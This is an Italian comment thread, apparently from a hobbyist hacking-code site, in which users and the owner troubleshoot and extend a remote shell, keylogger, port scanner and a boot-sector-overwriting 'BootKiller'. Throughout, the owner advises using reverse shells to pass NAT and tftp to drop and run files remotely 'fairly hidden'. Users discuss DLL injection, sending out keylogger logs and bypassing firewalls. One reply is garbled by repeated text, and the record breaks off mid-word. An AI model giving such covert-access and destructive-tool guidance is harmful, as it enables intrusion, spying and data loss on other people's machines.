grazie per la storia dell 'ip! per la shell ho modificato la questione di command, mettendo sia command.com che command e basta. Ho avviato RemoteShell sulla mia macchina e mi son provato a connettere da un altra macchina tramite telnet, ma pur scrivendo nel terminale di telent, nn ricevo output ne altro. rimane quasi congelata la connessione. nessun idea ? grazie.
Animanera:
scusa Komrade se ti "frego " il posto :P
elCare devi rikiamare command.COM non .exe, cmq la CreateProcess accetta anke i nomi senza estensioni, basta ke siano eseguibili
x l 'ip basta ke fai:
struct hostent *host;
char ip[16];
host = gethostbyname( " ");
sprintf(ip, "%s ", inet_ntoa( *((struct in_addr *)host->h_addr)) );
et voila ' :P
spero di esserti stato d 'aiuto :D
ciao ciao
elCare:
ciao Komrade! prima di tutto complimenti per il sito & i codes. Ho provato a compilare remoteshell.c (entrame le versioni) con lcc sotto WinMe, e quando mi connetto alla shell con telnet (giusto per testare) il porcesso termina e la connessione si chiude..dopo scoprirò (eheh) che in realtà cmd.exe sotto WinMe non esiste. allora ho provato a mettere command.exe (sinceramente non so ne se il problema è quello, ne se la soluzione da me adottata è quella corretta :P ) sta di fatto che anche in questo caso non funziona .. sapresti dirmi come posso fare ? Un ultima cosa. Non riesco a trovare (ma esiste alla fine?) una Api win32 che mi permetta di otteenere l 'ip della macchina locale. sai dirmi qualcosa?
grazie in anticipo, un saluto.
elCare.
Animanera:
%esp se cerchi bene nella pagina avrai la risposta :P
%esp:
ciao! vorrei sapere come è possibile poter avviare un eseguible senza che la finestra del prompt di dos venga aperta, non importa se il task manager visualizza il processo, l 'importante è che nn appaia la finestra. Esiste un modo che sia compatibile sia per win 98/me e Xp ? grazie mille !
Animanera:
Komrade grazie di tutto veramente...
ora voglio provare a unire varie delle tue creazioni insieme, tipo iniettare una dll ke contiene una shell, x poi eseguire tftp (e vedere se il firewall se ne accorge), magari x trasferire i log del keylogger precedentemente iniettato :P
nel frattempo mi sono venute un paio di curiosita ':
1) volevo sapere se conosci un modo per bypassare i firewall ke controllano le porte, tipo kerio, xke ' x gli altri l 'injection funzona xfettamente
2) come faccio a creare un servizio, del tipo ke appaiono nella lista di services.msc?
Maestro, la ringrazio :P
ciao ciao
andrea:
ciao a tutti sto facendo un lavoro per un esame di reti (una chat) volevo chiedere se è possibile avere il sorgente di private chat per darci un occhio
grazie.
itadol@libero.it
Komrade:
Il fatto che la finestra non si apra subito è una cosa molto strana a cui anche io per ora non so dare una motivazione...
Per trasferire i file il modo più semplice è utilizzare il comando tftp da shell. È un semplicissimo client tftp presente di default in Windows. Tu devi solo mettere un server tftp nel tuo pc, poi tramite la shell remota puoi trasferire un file su un computer remoto ed eseguirlo. Semplice, veloce e abbastanza nascosto.
Per quanto riguarda l 'assembly ti consiglio di vedere il sito http://www.giobe2000.it/Tutorial/, anche se la documentazione più completa sono i manuali intel (che sfortunatamente sono in inglese) http://developer.intel.com/design/pentium/manuals/.
Comunque anche se la sintassi è differente, l 'assembly x86 è simile al mips.
Ciao
Animanera:
si, hai ragione la finestra viene visualizzata al secondo comando... ma xke '?
c 'e ' un modo x farlo eseguire subito? nn mi va proprio di implementare una shell da capo... anke se prima o poi dovro ' cmq farlo, senno ' cm li trasferisco i files da un picci ' all 'altro? magari potresti mettere anke questo cm tutorial no? una shellcode o magari un code di ftp ;)
x quanto riguarda la faccenda della porta purtroppo nn sto dietro a un router ne ' a un nat... pensavo dipendesse dall firewall, ma ho provato anke senza e nn va =... mistero della fede :D
quindi dici ke un shell inversa dovrebbe funzionare? all 'inizio mi era venuta l 'idea x un altro motivo, cioe ' se ad es. mando il file della shell via messenger, nn conosco l 'ip del destinatario e quindi era piu ' semplice far connettere lui a me :P cmq abbiamo provato qualke ora fa e funziona xfettamente, il nat viene passato senza problemi :DD
ah a proposito, volevo kiederti se conosci un buon sito con un tutorial assembly x86... io conosco il mips, ma c 'entra ben poco e di x86 sto proprio a 0 :(
ciao ciao
Komrade:
Non so se ho capito bene le domande, se non ti rispondo correttamente fammelo sapere
1) Quando esegui programmi che aprono finestre, il programma parte ma la finestra non si visualizza all 'istante, comunque non devi dare per forza exit alla shell per vedere la finestra, se dai qualche altro comando in seguito (anche un semplice dir) la finestra si visualizza.
2)Questo è strano, normalmente devi poterlo usare sia su lan che in internet. Non c 'è qualche router, nat che filtra i pacchetti verso quella porta? se è così devi trovarne un 'altra che il router lasci passare. Nel programma specifichi la nuova porta che i router non filtrano e tutto funziona correttamente.
3)Il modo più semplice è quello di creare una shell inversa che si connette a te. Questa cosa si può fare e non è neanche difficile, e adesso che mi ci fai pensare è un bel programma da aggiungere al tutorial e che appena posso farò.
Ciao.
E comunque per quel poco anche l 'uni è utile...
Animanera:
ciao Komrade, penso di avere lo stesso problema ke aveva Popper... ma nn ho capito molto bene la tua risp alla sua domanda :) in sostanza i miei problemini sono 3:
1) come faccio ad eseguire un comando remoto in una finestra (es. stupido "calc ") senza dover dare l ' "exit " alla cmd? le altre cose tipo "dir " funzionano xfettamente :)
2) riesco ad utilizzare i socket solo dentro una rete locale... mi spiego meglio: se uso la porta 4444 funziona da qualsiasi picci ' della lan ma nn via internet... x quello devo usare la porta 23. c 'e ' un modo x usare un 'altra porta? (ah mi connetto via telnet)
3) nn riesco a passare i NAT di fastweb... ho pensato di fare in modo ke siano loro a connettersi a me, ma ci vuole tempo x implementarlo e prima di farlo volevo sapere se potrebbe funzionare e/o se c 'e ' qualke altra strada magari piu ' semplice :P
x ora e ' tutto :D
complimenti ancora x il tuo lavoro!!! altro ke uni!!!! :D ciao ciao
Komrade:
Risposta a %esp:
Gli errori che ti compaiono con devc++ non sono di compilazione, ma sono presenti perché per poter creare il file eseguibile devi linkare la libreria wsock32. Vai in "Tools -> Compiler Options -> Add these command to the linker command line " e scrivi c: Programmi Dev-Cpp lib libwsock32.a. La direttiva #define WIN32_LEAN_AND_MEAN non metterla, che non serve in questo caso.
L 'errore che ti compare con lcc-win32 è molto strano, anche perché il programma è stato fatto proprio con questo compilatore. Non c 'è magari qualche errore nelle proprietà del progetto che hai creato (se ne hai creato uno)?
Popper:
ottimo komrade, sei proprio bravo :) (sì uso telnet, o putty). Complimenti per il lavoro che fai
%esp:
ho provato a copilare con lcc-win32 lo stesso file è mi da un errore del tipo "entry point ( "main " function) is not defined " :(( Mi sapete dire il motivo ? Grazie.
%esp:
ciao! ho provato a compilare con dev-c++ fakemail.c, ma mi da errori del tipo :
: WINDOWS TEMP ccfOnegb.o(.text+0x15c):fakemail.c: undefined reference to `WSAStartup@8 '
C: WINDOWS TEMP ccfOnegb.o(.text+0x16d):fakemail.c: undefined reference to `socket@12 '[..]
Ho provato a inserire anche la direttiva #define WIN32_LEAN_AND_MEAN (nel caso
servisse), ma nulla da fare. Mi sai dire qualè il problema ? Grazie!
Komrade:
Se usi telnet per accedere alla porta dopo la accept() metti un ciclo tipo questo:
do{
i = 0;
do{
n = recv(sendrecv, &buffer[i], sizeof(char), 0);
i++;
}
while(buffer[i-1] >= 'A ');
buffer[i-1]= ' 0 ';
}
while(strcmp(buffer, "password ") != 0);
perché il telnet invia un solo carattere per volta e quindi devi creare tu la stringa, altrimenti creando un client che si connette alla porta ti basta fare un ciclo che controlli direttamente l 'intera stringa.
Popper:
Ciao Komrade, la shell l 'ho compilata, và benissimo.. :-) Ho fatto alcune modifiche ma non riesco ad impostare un modo per restituire la linea di comando solo dopo avere ricevuto una stringa(una pass insomma); puoi aiutarmi? Grazie :-)
Popper:
eheh ottimo :P .. adesso compilandolo mi dà un errore di sintassi che però non trovo :- mi dice --> RemoteShellv2.0.c(35) : error C2143: syntax error : missing '; ' before 'type '
riferendosi a questa linea di codice:
bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in));
listen(sock,1);
int lun = sizeof(struct sockaddr);
sendrecv = accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);
Komrade:
Ho modificato il codice di RemoteShellv2.0.c ed ora compila correttamente anche sul visual studio. Grazie alla definizione della direttiva #define WIN32_LEAN_AND_MEAN il compilatore non include più il file winsock.h così possiamo utilizzare il nostro winsock2.h
Tranquillo per me non è tempo perso, anzi scopro quanto è più pignolo il visual studio degli altri compilatori.
Popper:
Ho provato a levare winsock2.h ma dice di avere problemi a definire il socket, quindi nulla :( 1000 grazie per il tempo che perdi :)
Komrade:
Il compilatore visual studio fa troppo il preciso e quindi questi errori compaiono spesso (personalmente non lo uso e quindi non posso correggerli istantaneamente), l 'errore qui sta nella redefinizione delle variabili presenti nella #include winsock.h (che è inclusa di default nel file windows.h) e la winsock2.h, per ora prova a togliere #include winsock2.h e vedi se funziona. Comunque domani (giorno in cui finalmente avrò un minuto di tempo libero) metterò a posto il programma per il visual studio, se per caso ci sono altri programmi che non compilano correttamente fatmelo sapere.
Popper:
--------------------Configuration: RemoteShellv2.0 - Win32 Debug--------------------
Compiling...
RemoteShellv2.0.c
c: programmi microsoft visual studio vc98 include winsock2.h(99) : error C2011: 'fd_set ' : 'struct ' type redefinition
c: programmi microsoft visual studio vc98 include winsock2.h(134) : warning C4005: 'FD_SET ' : macro redefinition
c: programmi microsoft visual studio vc98 include winsock.h(83) : see previous definition of 'FD_SET '
c: programmi microsoft visual studio vc98 include winsock2.h(143) : error C2011: 'timeval ' : 'struct ' type redefinition
c: programmi microsoft visual studio vc98 include winsock2.h(199) : error C2011: 'hostent ' : 'struct ' type redefinition
c: programmi microsoft visual studio vc98 include winsock2.h(212) : error C2011: 'netent ' : 'struct ' type redefinition
c: programmi microsoft visual studio vc98 include winsock2.h(219) : error C2011: 'servent ' : 'struct ' type redefinition
e via dicendo... sono 60 errori e 11 avvisi
Umbe:
Stesso problema di Popper! Con il compilatore visual studio, spesso ci sono un sacco di problemi. Popper, posta gli errori del compilatore che vediamo se sono gli stessi e magari il buon Komrade ci dà pure un okkio...tempo permettendo si intende...
popper:
ho riprovato anche con cygwin ma la compilazione è impossibile sia per remoteshell che per remoteshell2.0 :-(
popper:
salve a tutti! bellissimo sito, ricco di contenuti che oggi scarseggiano un pò dappertutto! Smanettando un pò sui vostri codici ho avuto però difficoltà a compilare shellremota 2.0 a causa del winsock2.h; come compilatore uso visual c++ della Microsoft, sapete aiutarmi?
Komrade:
Risposta a Newbie: In windows 95 è possibile leggere tramite int 13h solo dopo aver chiamato un altro interrupt (interrupt 21/AX=440d/CX=084b, vedi http://www.ctyme.com/intr/rb-2898.htm) che fa un "lock " del disco fisico (bisogna poi fare l 'unlock con un altro interrupt). Per quanto riguarda le dimensioni massime di lettura c 'è un errore in quanto i bit disponibili per le testine sono 8 e quindi si possono leggere: 256 testine X 1024 cilindri X 64 settori X 512 bytes = 8 GB. Per dimensioni superiori bisogna usare le "INT 13 Extensions " (vedi interrupt 13/AH=42h) http://www.ctyme.com/intr/rb-0708.htm
newbie:
ma windows 95 per leggere dal disco fisso, come fa? non usa l 'interrupt 13,vero? è vero che l 'interrupt 13 può leggere da dischi di dimensioni massime di 504 MB, o ho sbagliato i conti? (ho moltiplicato il numero massimo di cilindri (10 bit)per quello delle testine (4 bit) per 63 settori per 512 bytes)
Komrade:
Risposta a Animanera:
non credo che in windows ci sia una funzione di sistema simile alla fork() di Unix, sono sicuro che non esista tra le librerie tradizionali, magari è stata implementata in qualche libreria però non ne sono a conoscenza. L 'unico modo in Windows di fare qualcosa di simile alla fork() è utilizzare la API CreateThread() che ti crea un thread da una funzione, però non è semplice come la mitica fork()...
Animanera:
ciao a tutti!! volevo innanzitutto complimentarmi... sono senza parole... davvero incredibile!!! finalmente un posto dove trovare del codice interessante, chiaro e corretto!! visto ke siete cosi ' bravi, e visto ke purtroppo x mancanza di tempo nn posso leggere tutti i codici pubblicati, volevo kiedervi se c 'e ' una API o cmq una system call in windows ke equivale alla fork() di unix. ancora complimenti :)
pinco pallino:
grazie komrade
a Komrade::
grazie, ora provo.
Komrade:
A pinco pallino:
Puoi utilizzare iocltsocket() e il tempo di delay copiando i pezzi di codice che trovi in bannerscan.c e modificando i parametri:
aggiungi queste righe al portscanner per ioctlsocket:
unsigned long arg=1;
err=ioctlsocket (sock, FIONBIO,&arg);
if(err!=0)
printf( "Errore ioctl(): %d ",WSAGetLastError());
mentre per il tempo di delay devi copiare tutto il loop di ricezione banner (dalla riga 93 alla 111) stando attento a modificare i nomi delle variabili che sono differenti e argv[4] deve diventare argv[1].
A abs0:
Se vuoi farlo partire senza finestra di console, senza dover creare un progetto Applicazione windows, apri il file con devc++ vai sul menu Tools -> Compiler Options. Ti si apre una finestra di opzioni per il compilatore, da lì vai sulla pagina Settings clicchi su Linker e selezioni Yes sulla opzione "Do not create a console windows ".
newbie:
X abs0: non dovrebbe aprirsi una finestra...quando hai crei il project, devi fare un processo o un thread, non un applicazione (o almeno penso, dipende dal tipo di compilatore...) boh...
abs0:
per Newbie: grazie, ora funge tutto.. un 'altra cosa, come si può fare per farlo partire senza che si apra nessuna finestra? ciao
pinco pallino:
ciao a tutti.qualcuno mi sà spiegare come fare ad utilizzare ioctlsocket() e il tempo di delay nel file portscanner.c?
newbie:
X abs0: prova ad aggiungere "#define VK_Z 90 " (senza le virgolette) sotto l 'ultimo define. a me dava lo stesso errore anche con VK_SPACE, in questo caso basta aggiungere "#define VK_SPACE 32 "
abs0:
ciao! ho cercato di compilare il keylogger con Dev-C++ ma mi dà questo errore:
33 `VK_Z ' undeclared (first use in this function)
dove sbaglio?
pinco pallino:
ciao a tutti.qualcuno mi sà spiegare come fare ad utilizzare ioctlsocket() e il tempo di delay nel file portscanner.c?
Umbe:
Anche...sarebbe interessante fare una panoramica su come una task possa essere lanciata in automatico da windows.(da quali chiavi del registro per esempio( so ' che ce ne sono parecchie), o dai vari file *.ini o bat o da servizi....diciamo di tutto un po '...
Komrade:
A Umbe:
Intendi qualcosa sulla creazione di servizi di Windows? O qualche altra cosa? posso vedere cosa si può fare...
A newbie:
I sistemi operativi successivi a Windows 95 non permettono ai programmi eseguibili di modificare l 'hardware direttamente, bisognerebbe creare un driver per poter scrivere nel boot sector, il bootkiller opera come i vecchi virus che venivano scambiati via floppy e funziona perché parte prima del sistema operativo. Non so di quali programmi boot manager parli però probabilmente creano qualche driver. Si potrebbe anche creare un driver, ma se non è cambiato qualcosa negli ultimi tempi deve essere scritto tutto in assembly.
newbie:
grazie infinite.io conosco alcuni programmi boot manager, che si installano nel boot sector, semplicemente eseguendoli...per caso sai come fanno? perchè il bootkiller invece deve essere scritto sul boot sect di un floppy? il SO non permette la scrittura sul boot sector? come fanno allora i boot manager di cui ti ho detto?
Umbe:
lancio una proposta: perchè non fare un bel tutorial su come i programmi possono essere eseguiti automaticamente all 'avvio di windows? (ovvio che non parlo di esecuzione automatica e della chiave HLM/ecc.ecc/run o runservices).
Cioè, in pratica, quanti e quali sono i modi per avviare un task in automatico?
Komrade:
Se vuoi scrivere su un floppy trovi un programma qui: ftp://ftp.pamarsystems.com/raw/rawrite.exe
che ti scrive un file immagine su un dischetto, se vuoi scrivere su un cd devi usare un software di masterizzazione che permetta la scrittura di file immagine
newbie:
ah,ho capito.mi puoi indicare il nome di un prog di scrittura grezza? grazie
Komrade:
il programma Bootkiller non deve essere assemblato come un normale eseguibile e poi essere eseguito. Devi creare il file binario (come spiegato nel tutorial) e scriverlo con programmi di scrittura raw sul boot sector di un floppy o di un cd, poi inserendo il floppy o il cd all 'avvio verrà sovrascritto il boot sector dell 'hard disk. Comunque stai attento ad cd, poi inserendo il floppy o il cd all 'avvio verrà sovrascritto il boot sector dell 'hard disk. Comunque stai attento ad cd, poi inserendo il floppy o il cd all 'avvio verrà sovrascritto il boot sector dell 'hard disk. Comunque stai attento ad poi inserendo il floppy o il cd all 'avvio verrà sovrascritto il boot sector dell 'hard disk. Comunque stai attento ad eseguirlo sul tuo pc perché una volta che il programma BootKiller parte, se non sai come rimettere a posto il boot setor dell 'hard disk devi reinstallare tutto il sistema operativo...
newbie:
grazie mille.avrei un altra domanda:ho assemblato il bootkiller con il nasm,e l 'ho lanciato dal dos sul mio pc, ma è venuta fuori la scritta C: WINDOWS COMMAND e si è bloccato, ma al riavvio, non è successo niente, ho anche provato a fare un dump del boot sector con DEBUG, ma non c 'è traccia del codice del bootkiller...come mai?
Komrade:
Risposta a newbie:
Infatti non vengono riempiti 510 byte di zeri, ma viene valutata l 'espressione 510-($-$$). Il valore $ indica il punto dove è presente l 'istruzione corrente mentre il valore $$ indica l 'inzio del programma; quindi viene calcolato lo spazio occupato dai bytes del programma e viene sottratto a 510.
film:
in 2-3 ore è un miraggio...con i programmi di file sharing ci vogliono almeno due giorni, se sei fortunato...
francesco:
come si fa a scaricare i film in 2-3 ore?
kzu:
hahahaha no caso una de italiano pero me parece que sos un pt, sabelo
newbie:
non ho capito bene, perchè alla fine del sorgente del bootkiller, c 'è l 'istruzione "times 510-($-$$) db 0 ": non bisognerebbe tenere il conto di tutto lo spazio che occupa il codice, visto che va a finire anche quello nel boot sector? quindi non dovrebbero essere meno di 510 i byte da riempire a zeri?
blackpant3r:
Davvero ottimi.
pinco pallino:
grazie komrade
DaitanPeo:
tutto sotto gpl :°D
Komrade:
Ho modificato il modo di inserimento dei messaggi (in alto i messaggi più recenti) per rendere più immediata la lettura.
Risposta a pinco pallino:
Gli errori che ti compaiono non sono di compilazione, ma sono presenti perché per poter creare il file eseguibile devi linkare la libreria wsock32.lib. Guarda tra le opzioni del tuo compilatore (cerca dove si aggiungono le librerie per il linker) ci deve essere la voce per poter aggiungere una libreria al progetto.
Risposta a Daitarn:
Se hai dei sorgenti fatti da te che credi possano essere utili mandameli pure, posso guardarli e se sono ok sarò contento di aggiungerli ai vari progetti (con tutti gli opportuni riferimenti all 'autore). Il codice di altri è meglio di no per non aver problemi con i diritti d 'autore...
Risposta per Umbe:
Un forum non sarebbe male ci avevo pensato anche io, però non avendo molto tempo per farlo bisognerebbe trovarne una già fatto... Se qualcuno ne conosce uno semplice di grafica e leggero me lo faccia sapere. Altrimenti si può continuare ad usare questa pagina (con i vari miglioramenti del caso)
Grazie a tutti per i complimenti...
pinco pallino:
salve ho un problema.perchè quando compilo il file client.c mi dà questi errori?
main.obj : error LNK2001: simbolo esterno "int __stdcall WSACleanup(void) " (?WSACleanup@@$$J10YGHXZ) non risolto
main.obj : error LNK2001: simbolo esterno "int __stdcall closesocket(unsigned int) " (?closesocket@@$$J14YGHI@Z) non risolto
main.obj : error LNK2001: simbolo esterno "int __stdcall connect(unsigned int,struct sockaddr const *,int) " (?connect@@$$J212YGHIPBUsockaddr@@H@Z) non risolto
main.obj : error LNK2001: simbolo esterno "unsigned short __stdcall htons(unsigned short) " (?htons@@$$J14YGGG@Z) non risolto
main.obj : error LNK2001: simbolo esterno "unsigned int __stdcall socket(int,int,int) " (?socket@@$$J212YGIHHH@Z) non risolto
main.obj : error LNK2001: simbolo esterno "int __stdcall WSAStartup(unsigned short,struct WSAData *) " (?WSAStartup@@$$J18YGHGPAUWSAData@@@Z) non risolto
C: Documents and Settings Neo Documenti Visual Studio Projects internetwork Debug internetwork.exe : fatal error LNK1120: 6 esterni non risolti
u238:
figata sto sito! ...da oggi in poi lo seguirò con attenzione, penso che avrai 1 sacco di cose da insegnarci ;-) ..dacci dentro! :-D
Daitarn:
Il sito è molto carino e stai facendo un bel lavoro... Ho guardato un pò i programmi, se ti va posso passarti 2 o 3 sorgenti carini: un keylogger dll che può anche dire su che finestra vengono scritte le varie cose (trovato in non so quale sito francese), un pò di codice scritto da me con le winsock ed i raw socket (tcp,udp,icmp) solo winsock2, ed un codice per fare dll injection funzionante ed un pò + semplice compilabile in visual c++. Rispondi pure qua in caso ti mando mail :°D
Saluto
Umbe:
Faccio una proposta: perchè nn inserire un bel forum??(di grafica semplice, come il sito, senza tanti teschietti o avatar del cavolo in giro...)
x86:
questo sito è favoloso!!!, altro che certi siti con una grafica stupenda, ma che alla fine non insegnano niente...complimenti ai creatori!!!
Luconedj:
Micidiali queste nozioni!!!!!!!!!
umbe:
Grazie a voi per il lavoro!
Komrade:
Ho messo a posto i sorgenti dei programmi e ora è possibile compilarli anche con il Visual Studio. Grazie Umbe per aver segnalato il problema.
McCl0ud:
Complimenti...
Umbe:
Grazie! vi seguo spesso e aspettero' con ansia...Complimenti per il sito...semplice( come piace a me) ma pieno di info utilissime....
Komrade:
Ho testato sul visual studio ed effettivamente non riconosce la dichiarazione delle funzioni, appena posso modifico il codice per permettere di compilarlo anche con il visual studio.
Umbe:
riporta una serie di errori...tra i quali ti segnalo: ProcessKiller.c(119) : error C2059: syntax error : '(' e via di seguito per le successive 4 lineee, poi ancora: error C2065: 'PfZwQuerySystemInformation' : undeclared identifier...e via di seguito per le funzioni non presenti nei compilatori tradizionali..
Komrade:
Il compilatore usato è lcc-win32 (dato che è gratuito), comunque il codice scritto dovrebbe funzionare su qualsiasi compilatore, se vuoi inviami gli errori che ti segnala, posso vedere quale è il problema...
Umbe:Umbe:
che compilatore c++ usate per i vostri esempi? col visual studio non funziano!!!
Komra